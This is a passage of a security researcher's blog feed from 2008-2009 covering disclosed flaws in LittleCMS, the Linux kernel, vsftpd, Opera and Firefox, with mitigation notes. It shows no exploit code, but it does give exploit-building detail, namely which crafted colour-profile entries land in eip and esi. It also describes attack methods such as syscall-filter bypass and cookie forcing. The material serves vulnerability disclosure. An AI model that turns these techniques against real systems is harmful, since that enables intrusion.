cellspacing="2"&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Curve in input file&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Hit if 0 gap&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Hit if 4 bytes gap&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17: blank curv&lt;/td&gt;&lt;td&gt;ebp&lt;/td&gt;&lt;td&gt;4-byte gap&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18: curv payload&lt;/td&gt;&lt;td&gt;esi&lt;/td&gt;&lt;td&gt;ebp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;19: curv payload&lt;/td&gt;&lt;td&gt;edi&lt;/td&gt;&lt;td&gt;esi&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;20: blank curv&lt;/td&gt;&lt;td&gt;ebx&lt;/td&gt;&lt;td&gt;edi&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;21: para redirect payload&lt;/td&gt;&lt;td&gt;eip&lt;/td&gt;&lt;td&gt;ebx&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22: para redirect payload&lt;/td&gt;&lt;td&gt;eip + 4&lt;/td&gt;&lt;td&gt;eip&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;As can be seen, &lt;code&gt;%eip&lt;/code&gt; always gets the &lt;code&gt;para&lt;/code&gt; payload and &lt;code&gt;%esi&lt;/code&gt; always gets the real payload.&lt;br /&gt;&lt;/ul&gt;&lt;i&gt;With thanks to Julien Tinnes and Tavis Ormandy for inspiration&lt;/i&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2314694715450694073?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2314694715450694073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2314694715450694073' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2314694715450694073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2314694715450694073'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/03/littlecms-exploit.html' title='LittleCMS exploit'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1430146085069313676</id><published>2009-03-17T16:42:00.000-07:00</published><updated>2009-03-19T15:23:35.292-07:00</updated><title type='text'>LittleCMS vulnerabilities</title><content type='html'>Today, vendor updates should be flowing for vulnerabilities in LittleCMS, sometimes known just as "lcms" or "liblcms". LittleCMS is a very useful open-source colour profile parsing and conversion tool. Some technical details of the various vulnerabilities (stack-based buffer overflows, integer overflows, etc). are given here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-003.html"&gt;http://scary.beasts.org/security/CESA-2009-003.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The most interesting thing about LittleCMS is how quickly it has become a very critical building block for UNIX desktops. Let's enumerate some of the pieces of software impacted by any lcms vulnerabilities:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;OpenJDK&lt;/b&gt;. OpenJDK uses lcms to parse colour profiles embedded in JPEG or BMP files. OpenJDK is on the default browser attack surface of a lot of Linux installations, e.g. Fedora 10.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Firefox&lt;/b&gt;. Firefox 3.1beta uses lcms to parse colour profiles embedded in JPEG files -- by default. (Firefox 3.0 has this ability but not by default, so thankfully this can be addressed before 3.1 goes production).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;GIMP&lt;/b&gt;. GIMP uses the system liblcms library to parse colour profiles embedded in at least JPEG files.&lt;/li&gt;&lt;/ul&gt;I don't usually do this, but I took the trouble to write an exploit for one of the bugs, because it was fun and had some quirks. It's probably not a great idea to release it just yet -- look for a separate blog post soon.&lt;br /&gt;&lt;br /&gt;Finally, some notes on the various Linux system protections that do or don't help defend against the exploit for this stack-based buffer overflow:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;My exploit targets, &lt;i&gt;but is not limited to&lt;/i&gt;, systems with executable heaps. Interestingly 32-bit Ubuntu 8.10 on my laptop shows the heap as non-executable in &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt;, but it lies because the installed kernel is non-PAE.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;For systems with non-executable heaps, such as 64-bit Ubuntu 8.10 on my desktop, an exploit is still possible because you can point registers other than &lt;code&gt;rip&lt;/code&gt; into the heap (e.g. &lt;code&gt;rbp&lt;/code&gt;). I've not written this exploit.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Systems with stack smashing detection, such as Fedora 10, do make the exploit hard or impossible. However, the somewhat risky OpenJDK package on such a system is &lt;i&gt;not&lt;/i&gt; compiled with stack smashing detection, leaving the default browsing experience vulnerable.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I noticed that the Fedora 10 stack smashing detection does not exit cleanly, but gives a SIGSEGV. On 32-bit, the faulting instruction is &lt;code&gt;cmpw $0xb858,(%eax)&lt;/code&gt; where &lt;code&gt;%eax == 0x1&lt;/code&gt;. Stack frames is &lt;code&gt;__stack_chk_fail __fortify_fail __libc_message backtrace _Unwind_Backtrace ??&lt;/code&gt;. Leave a comment if you know what's going on. Sounds dangerous to me.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1430146085069313676?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1430146085069313676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1430146085069313676' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1430146085069313676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1430146085069313676'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/03/littlecms-vulnerabilities.html' title='LittleCMS vulnerabilities'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8564626448530687967</id><published>2009-02-25T14:57:00.000-08:00</published><updated>2009-02-25T15:54:18.652-08:00</updated><title type='text'>Linux kernel minor "seccomp" vulnerability</title><content type='html'>I just released some technical details on why and how "seccomp" is vulnerable to the Linux kernel syscall filtering problems that &lt;a href="http://scarybeastsecurity.blogspot.com/2009/01/bypassing-syscall-filtering.html"&gt;I previously blogged about&lt;/a&gt;. The full details may be found here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-004.html"&gt;http://scary.beasts.org/security/CESA-2009-004.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The actual bug is of little significance because pretty much no-one uses seccomp:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com/codesearch?q=PR_SET_SECCOMP&amp;hl=en&amp;btnG=Search+Code"&gt;This searches for the PR_SET_SECCOMP string on Google Code Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In addition, even if people did use this -- the bug is not a full break out, just some leakage of filesystem names via &lt;code&gt;stat()&lt;/code&gt; or mischief via unrestricted &lt;code&gt;chmod()&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;However, I still find this vulnerability interesting. It's a sobering reminder that even a very simple security technology can have surprising bugs. seccomp applies extremely tight restrictions on untrusted code, but within these constraints, the code still has opportunities to misbehave! And this isn't the only example. For reference, check out how a seccomp-constrained process could historically cause trouble in the syscall tracing path with:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4573"&gt;CVE-2007-4573: trouble with the upper 32-bits of %rax not clear&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1615"&gt;CVE-2008-1615: trouble calling syscalls with a bad value in the %cs register&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0001"&gt;CVE-2004-0001: trouble with EFLAGS, unknown trigger&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8564626448530687967?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8564626448530687967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8564626448530687967' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8564626448530687967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8564626448530687967'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/02/linux-kernel-minor-seccomp.html' title='Linux kernel minor &quot;seccomp&quot; vulnerability'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1046447063862946616</id><published>2009-02-24T20:35:00.000-08:00</published><updated>2009-02-24T20:56:34.312-08:00</updated><title type='text'>Linux kernel minor signal vulnerability</title><content type='html'>I recently came up with a little API abuse of the &lt;code&gt;clone()&lt;/code&gt; system call. Not earth shattering, but definitely fun. Essentially, you can send any signal you want at any time to your parent process, even if it is running with real and effective user id of someone else (e.g. &lt;code&gt;root&lt;/code&gt;). Full technical details and an example may be found here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-002.html"&gt;http://scary.beasts.org/security/CESA-2009-002.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Maybe someone more devious that me can come up with better abuse scenarios than I can. Have at it...&lt;br /&gt;&lt;br /&gt;Signals are a tricky area of the kernel on a lot of levels. I find it interesting that every slightly unusual way to send signals in the kernel has suffered from access control issues in the past. For example, &lt;a href="http://www.coseinc.com/coseinc_linux_advisory_1.pdf"&gt;this COSEINC advisory notes issues&lt;/a&gt; in sending signals via &lt;code&gt;prctl(PR_SET_PDEATHSIG, ...)&lt;/code&gt;. There were &lt;a href="http://insecure.org/sploits/io.asynch.signlal.handling.html"&gt;multi-vendor issues with &lt;code&gt;fcntl(..., F_SETOWN, ...)&lt;/code&gt;&lt;/a&gt; a long time ago which &lt;a href="http://www.securityfocus.com/bid/111/exploit"&gt;resurfaced in a Linux-specific manner&lt;/a&gt; a little after.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1046447063862946616?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1046447063862946616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1046447063862946616' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1046447063862946616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1046447063862946616'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/02/linux-kernel-minor-signal-vulnerability.html' title='Linux kernel minor signal vulnerability'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4249054603156373061</id><published>2009-02-20T15:49:00.000-08:00</published><updated>2009-02-23T12:08:23.584-08:00</updated><title type='text'>vsftpd-2.1.0 and ptrace() sandboxing</title><content type='html'>The new sandboxing support mentioned in the &lt;a href="http://scarybeastsecurity.blogspot.com/2009/02/vsftpd-210-released.html"&gt;vsftpd-2.1.0 announcement post&lt;/a&gt; is actually a &lt;code&gt;ptrace()&lt;/code&gt; based sandbox.&lt;br /&gt;&lt;br /&gt;It is experimental and therefore off by default. It only currently supports i386 Linux (but there's no reason you couldn't hack the Makefile to build 32-bit on 64-bit Linux). When enabled, it only engages when using &lt;code&gt;one_process_model&lt;/code&gt;, i.e. simple anonymous-only configurations. To (try and) enable it, set &lt;code&gt;sandbox=YES&lt;/code&gt; in your config file. If you do try, please e-mail or leave a comment, even if it works!&lt;br /&gt;&lt;br /&gt;But was it worth the effort? That's a very astute question; vsftpd already pioneered privsep support as a way of limiting the damage of a compromise of the FTP parsing code (or more likely OpenSSL, if enabled).&lt;br /&gt;&lt;br /&gt;Let's briefly examine the damage that can be done in the event of a compromise of the low-privileged end of a privsep-based solution. Let's also assume the low-privileged end is running in a suitable &lt;code&gt;chroot()&lt;/code&gt; jail with no sensitive, writeable or setuid files. With arbitrary code execution, the attacker can still:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Mount attacks against the kernel API to gain root&lt;/li&gt;&lt;li&gt;Connect to internal RFC1918 networks, i.e. firewall bypass&lt;/li&gt;&lt;li&gt;Connect to localhost, i.e. attack local-only services&lt;/li&gt;&lt;li&gt;Cause a nuisance by spraying &lt;code&gt;SIGKILL&lt;/code&gt; signals around&lt;/li&gt;&lt;li&gt;Mess with any shared objects (e.g. POSIX shared memory) with inappropriate permissions&lt;/li&gt;&lt;li&gt;Subvert other processes with the same UID / GID via &lt;code&gt;ptrace()&lt;/code&gt; &lt;i&gt;(vsftpd defends against this as long as you set &lt;code&gt;nopriv_user&lt;/code&gt; to a value unique to vsftpd)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Abuse your CPU / bandwidth&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;The sandbox eliminates most of the above concerns and drastically reduces the attack surface on others. On the downside, there are some minor performance losses such as an extra process per-session and per-syscall overhead but nothing severe. So for extreme paranoia, perhaps there is benefit here. We'll see.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4249054603156373061?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4249054603156373061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4249054603156373061' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4249054603156373061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4249054603156373061'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/02/vsftpd-210-and-ptrace-sandboxing.html' title='vsftpd-2.1.0 and ptrace() sandboxing'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2653823621074247170</id><published>2009-02-18T15:31:00.000-08:00</published><updated>2009-02-18T17:02:36.112-08:00</updated><title type='text'>vsftpd-2.1.0 released</title><content type='html'>I just released vsftpd-2.1.0, with full details being available on the vsftpd web page:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://vsftpd.beasts.org/"&gt;http://vsftpd.beasts.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It fixes a bunch of bugs and compile errors, introduces a few minor new features, has some code clean ups, etc. etc.&lt;br /&gt;&lt;br /&gt;vsftpd-2.1.0 is interesting from a security perspective because of its changes to SSL support. It actual contains a reasonable resolution to the connection theft attack I blogged about here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scarybeastsecurity.blogspot.com/2008/02/your-ftp-ssl-solution-is-really-secure.html"&gt;http://scarybeastsecurity.blogspot.com/2008/02/your-ftp-ssl-solution-is-really-secure.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the linked advisory I said "I have a crazy idea to use the SSL session cache as a cheezy form of authentication". Well, thanks to investigation by Tim Kosse of FileZilla fame, it turns out this is a very feasible option. Better still, a large number of clients already (whether they know it or not) use SSL session reuse between the control and data connection. This includes up to date versions of FileZilla, lftp and command line ftp-ssl. Therefore, vsftpd now defaults to requiring SSL session reuse. If your SSL FTP client does not re-use sessions, you can turn this off but you would do better to change FTP clients. Tim's FileZilla seems like a pretty awesome option to me. Hopefully other FTP servers will follow suit (quick source code scanning of popular open source ones seemed to lack a call to the relevant &lt;code&gt;SSL_session_reused&lt;/code&gt; OpenSSL API.&lt;br /&gt;&lt;br /&gt;Other new security features are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A per-process memory map limit of 100Mb. Just because it was easy, really. Note however!!! A memory leak in a session-private, isolated child process of a daemon cannot really be considered a security problem in this day and age -- unless you're on crack.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;An ambitious new built-in sandbox. Think of it as privsep++, but more on this in an upcoming post and paper.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2653823621074247170?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2653823621074247170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2653823621074247170' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2653823621074247170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2653823621074247170'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/02/vsftpd-210-released.html' title='vsftpd-2.1.0 released'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3518880935792263954</id><published>2009-01-23T12:32:00.000-08:00</published><updated>2009-01-23T13:21:34.661-08:00</updated><title type='text'>Bypassing syscall filtering technologies on Linux x86_64</title><content type='html'>For those interested in syscall filtering technologies, check out my latest advisory on how policies can be bypassed under certain circumstances:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2009-001.html"&gt;http://scary.beasts.org/security/CESA-2009-001.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There's a neat trick on the x86_64 kernel; this kernel supports both 32-bit and 64-bit processes, and interestingly, the syscall tables are different in either case. However, with a bit of trickery, a 64-bit process can call a 32-bit syscall (and visa versa), and confuse the syscall filter.&lt;br /&gt;&lt;br /&gt;This was discovered whilst experimenting on a new security feature for vsftpd; a future post will go into this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3518880935792263954?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3518880935792263954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3518880935792263954' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3518880935792263954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3518880935792263954'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2009/01/bypassing-syscall-filtering.html' title='Bypassing syscall filtering technologies on Linux x86_64'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6804305499646268902</id><published>2008-12-18T01:32:00.000-08:00</published><updated>2008-12-18T02:02:04.091-08:00</updated><title type='text'>Opera, SVGs and Java applets</title><content type='html'>Opera 9.63 was &lt;a href="http://www.opera.com/docs/changelogs/linux/963/"&gt;just released with some security fixes&lt;/a&gt;. I reported one of these issues, but neither myself nor Tarquin (a super friendly and knowledgeable Opera security guy) could do anything significant with it, despite feeling uneasy about the feature.&lt;br /&gt;&lt;br /&gt;The issue is this: when an SVG image is included via an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag, it is standard practice to disable running of JavaScript in that context. However, I noted that you could run a Java applet (and Flash presumably) in this context via the SVG tags such as &lt;code&gt;&amp;lt;html:applet&amp;gt;&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;A demo is here: &lt;a href="https://cevans-app.appspot.com/static/svgapplet.html"&gt;https://cevans-app.appspot.com/static/svgapplet.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Every attack we came up with is catered for. We discussed some very in-depth attacks (which I don't want to go into just yet) but Opera has some nice tweaks such as respecting &lt;code&gt;Content-Disposition: attachment&lt;/code&gt; for SVG images referred to via the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. The Opera guys even checked that the unusual context of executing due to an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag gets the domain correct (that of the img resource, not the hosting page). By the time I inquired about this, they had already checked.&lt;br /&gt;&lt;br /&gt;I continue to be impressed with Opera; the bug was fixed lightning fast even though no severe impact is known. And a few little Opera defensive measures turned out useful. This follows on from Opera being immune to my &lt;a href="http://scarybeastsecurity.blogspot.com/2008/08/dangerous-combination-of-browser.html"&gt;image theft via SVG attack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Not many browsers support this advanced feature. Aside from Opera, both Safari and Chrome support this. But they do not render Java applets in SVGs in the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag context.&lt;br /&gt;&lt;br /&gt;If you can think of a scenario where these embedded applets could cause more trouble that I've realized, please leave a comment or mail me :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6804305499646268902?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6804305499646268902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6804305499646268902' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6804305499646268902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6804305499646268902'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/12/opera-svgs-and-java-applets.html' title='Opera, SVGs and Java applets'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6153512363697727319</id><published>2008-12-17T23:48:00.000-08:00</published><updated>2008-12-18T00:36:00.660-08:00</updated><title type='text'>Firefox cross-domain text theft....</title><content type='html'>... and a reappearance of the "302 redirect trick".&lt;br /&gt;&lt;br /&gt;Here's the second bug from my PacSec presentation, and it's another Firefox one; kudos to the Firefox security team for their responsiveness. It's fixed in the recent 2.0.0.19 and 3.0.5 releases.&lt;br /&gt;&lt;br /&gt;It involves, yes, a cross-domain &lt;code&gt;&amp;lt;script src="blah"&amp;gt;&lt;/code&gt; tag. These remain a horrible wart in web app security; you have to make sure that &lt;i&gt;any&lt;/i&gt; authenticated resource on your domain either does not have any side effects when parsed / executed as JavaScript, or is CSRF protected.&lt;br /&gt;&lt;br /&gt;This particular bug involves Firefox's &lt;code&gt;window.onerror&lt;/code&gt; handler, which reports on JavaScript parse and execution errors. This handler has previously been used by Jeremiah Grossman to determine login status via script errors, &lt;a href="http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html"&gt;see here&lt;/a&gt;! (Whereas this hole can be closed, it's not clear my &lt;a href="http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html"&gt;similar attack via CSS can be&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;The new attack notes that certain JavaScript error messages leak real content from remote domains, for certain constructs of data. More in-depth technical detail is here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-011.html"&gt;http://scary.beasts.org/security/CESA-2008-011.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;One cute twist is that Firefox 3 already had this fixed (thanks to Filipe Almeida; see credit below), but the "302 redirect trick" bypassed that fix. This trick is becoming quite fruitful; see &lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html"&gt;previous Firefox image theft bug&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Credit to Filipe Almeida for being awesome. He was playing with this stuff long before anyone else&lt;/i&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6153512363697727319?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6153512363697727319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6153512363697727319' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6153512363697727319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6153512363697727319'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/12/firefox-cross-domain-text-theft.html' title='Firefox cross-domain text theft....'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4999509871635538870</id><published>2008-11-24T11:32:00.000-08:00</published><updated>2008-11-24T20:35:29.039-08:00</updated><title type='text'>Cookie forcing</title><content type='html'>It's time to write some coherent details about "cookie forcing", which is the name I've given for a new way to attempt to break into secure https sessions. This is surfjacking to the max - attacks an active MITM (man-in-the-middle) can attempt against an https application that follows best practices like marking its cookies secure; avoiding XSS and XSRF; etc.&lt;br /&gt;&lt;br /&gt;Cookie forcing relies on slightly broken browser behaviour. Namely, an http response can set, overwrite or delete cookies used by an https session. This is a minor violation of https session integrity that can have significant consequences. Unfortunately, the cookie model works this way &lt;b&gt;by specification&lt;/b&gt; and the addition of the Secure flag did not clean this up.&lt;br 